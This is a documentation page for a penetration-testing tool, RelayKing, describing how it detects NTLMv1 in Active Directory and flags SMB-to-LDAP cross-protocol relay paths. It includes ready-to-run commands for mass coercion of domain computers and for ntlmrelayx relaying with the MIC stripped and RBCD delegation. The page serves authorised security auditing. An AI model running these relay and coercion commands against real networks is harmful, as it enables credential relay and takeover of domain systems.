Skip to main content
NTLMv1 (LAN Manager authentication version 1 and 2) is a significantly weaker authentication protocol than NTLMv2. When a host uses NTLMv1, the captured authentication hash is crackable offline with commodity hardware and — critically — NTLMv1 does not compute a Message Integrity Code (MIC). Without MIC computation, cross-protocol relay attacks (SMB to LDAP/LDAPS) are possible even when those services have signing or channel binding enforced.

Why NTLMv1 matters for relay

NTLMv2 includes a MIC that binds the AUTHENTICATE message to a specific TLS or SMB session, preventing it from being replayed to a different protocol. NTLMv1 does not support MIC. This means:
  • Captured NTLMv1 credentials can be relayed from SMB to LDAP or LDAPS using ntlmrelayx --remove-mic, bypassing signing and channel binding protections.
  • Cross-protocol relay paths only appear in RelayKing’s relay path analysis when NTLMv1 is confirmed (--ntlmv1 or --ntlmv1-all is required).
--ntlmv1 is required to detect and display cross-protocol SMB relay paths. Without it, RelayKing cannot confirm NTLMv1 is in use and will not generate SMB-to-LDAP relay path findings.

Two detection modes

LmCompatibilityLevel values

The LmCompatibilityLevel registry key (HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel) controls which NTLM authentication versions a host will send and accept. Levels 0–2 allow NTLMv1; levels 3–5 enforce NTLMv2 only:
LevelBehaviorNTLMv1 Enabled?
0Send LM & NTLM responsesYes
1Send LM & NTLM — use NTLMv2 session security if negotiatedYes
2Send NTLM response onlyYes
3Send NTLMv2 response onlyNo (default if key not set)
4Send NTLMv2 response only; refuse LMNo
5Send NTLMv2 response only; refuse LM & NTLMNo
If the LmCompatibilityLevel registry key is not set on a host, Windows uses level 3 (NTLMv2 only) as the default.

—ntlmv1 — Domain-wide GPO check

Queries Active Directory for all LanMan authentication-related GPOs and determines the effective domain-wide LmCompatibilityLevel policy. If the policy permits NTLMv1 (level ≤ 2), all hosts in the domain are flagged as potentially using NTLMv1.
PropertyValue
RequiresLow-privilege AD credentials
What it readsDomain-level LanMan GPOs via LDAP
SpeedFast — single LDAP query
CoverageDomain-wide policy only; per-host overrides are not detected
# Recommended: include --ntlmv1 in every authenticated audit
python3 relayking.py -u lowpriv -p 'P@ssw0rd' -d corp.local \
  --dc-ip 10.0.0.1 -vv --audit \
  --protocols smb,ldap,ldaps,mssql,http,https \
  --threads 10 -o plaintext,json \
  --output-file relayking-scan \
  --proto-portscan --ntlmv1 \
  --gen-relay-list relaytargets.txt

—ntlmv1-all — Per-host registry check

Checks the LmCompatibilityLevel registry key (HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel) on every individual host that has SMB open. This catches per-host overrides that are more permissive than the domain GPO.
--ntlmv1-all requires local administrator credentials on each host. It accesses RemoteRegistry over SMB to read the registry key. If RemoteRegistry is disabled on a host, that host will be skipped and the result will be inconclusive. This check is extremely heavy — it opens a registry connection to every host in the scan. It is not OPSEC-safe.
PropertyValue
RequiresLocal admin credentials on each scanned host
What it readsLmCompatibilityLevel via RemoteRegistry on each host
SpeedSlow — one registry connection per host
CoveragePer-host LmCompatibilityLevel values including local overrides
# Per-host NTLMv1 check (HEAVY — requires local admin)
python3 relayking.py -u admin -p 'AdminPass' -d corp.local \
  --dc-ip 10.0.0.1 -vv --audit \
  --protocols smb,ldap,ldaps,mssql,http,https \
  --threads 10 -o plaintext,json \
  --output-file relayking-scan \
  --proto-portscan --ntlmv1-all \
  --gen-relay-list relaytargets.txt

Relay paths produced

When NTLMv1 is confirmed (domain-wide or per-host), RelayKing generates CRITICAL-severity cross-protocol relay paths for each host where both SMB and LDAP/LDAPS are available:
SourceDestinationConditionSeverity
SMBLDAPNTLMv1 enabled, LDAP availableCRITICAL
SMBLDAPSNTLMv1 enabled, LDAPS availableCRITICAL
AnyLDAPNTLMv1 enabled, LDAP signing enforced (bypass via --remove-mic)CRITICAL
AnyLDAPSNTLMv1 enabled, LDAPS channel binding enforced (bypass via --remove-mic)CRITICAL
NTLMv1 relay paths are marked with ntlmv1_required: true in JSON output.

Combined with —coerce-all

In environments where NTLMv1 is enabled domain-wide, mass coercion is highly effective — every coerced machine account authentication can be cross-protocol relayed to LDAP regardless of signing configuration:
# Mass coercion in an NTLMv1 environment (EXTREMELY NOISY)
python3 relayking.py -u lowpriv -p 'P@ssw0rd' -d corp.local \
  --dc-ip 10.0.0.1 \
  --coerce-all --coerce-target 10.0.0.99 \
  -o plaintext
Combining --coerce-all with an NTLMv1 environment is extremely impactful and extremely noisy. Every domain computer will attempt to authenticate to your listener. This will generate alerts in virtually all monitored environments.

How to exploit NTLMv1 relay paths

Once RelayKing identifies an NTLMv1-enabled host:
# Relay SMB auth to LDAP with MIC stripped (NTLMv1 cross-protocol relay)
ntlmrelayx.py -t ldap://<DC_IP> --remove-mic -smb2support
# Relay to LDAPS
ntlmrelayx.py -t ldaps://<DC_IP> --remove-mic -smb2support
# Relay and perform RBCD delegation
ntlmrelayx.py -t ldap://<DC_IP> --remove-mic --delegate-access -smb2support

Flag reference

FlagDescription
--ntlmv1Pull domain-wide LanMan GPOs (low-priv creds, fast)
--ntlmv1-allCheck LmCompatibilityLevel registry key on every host (requires local admin, slow, heavy)

Build docs developers (and LLMs) love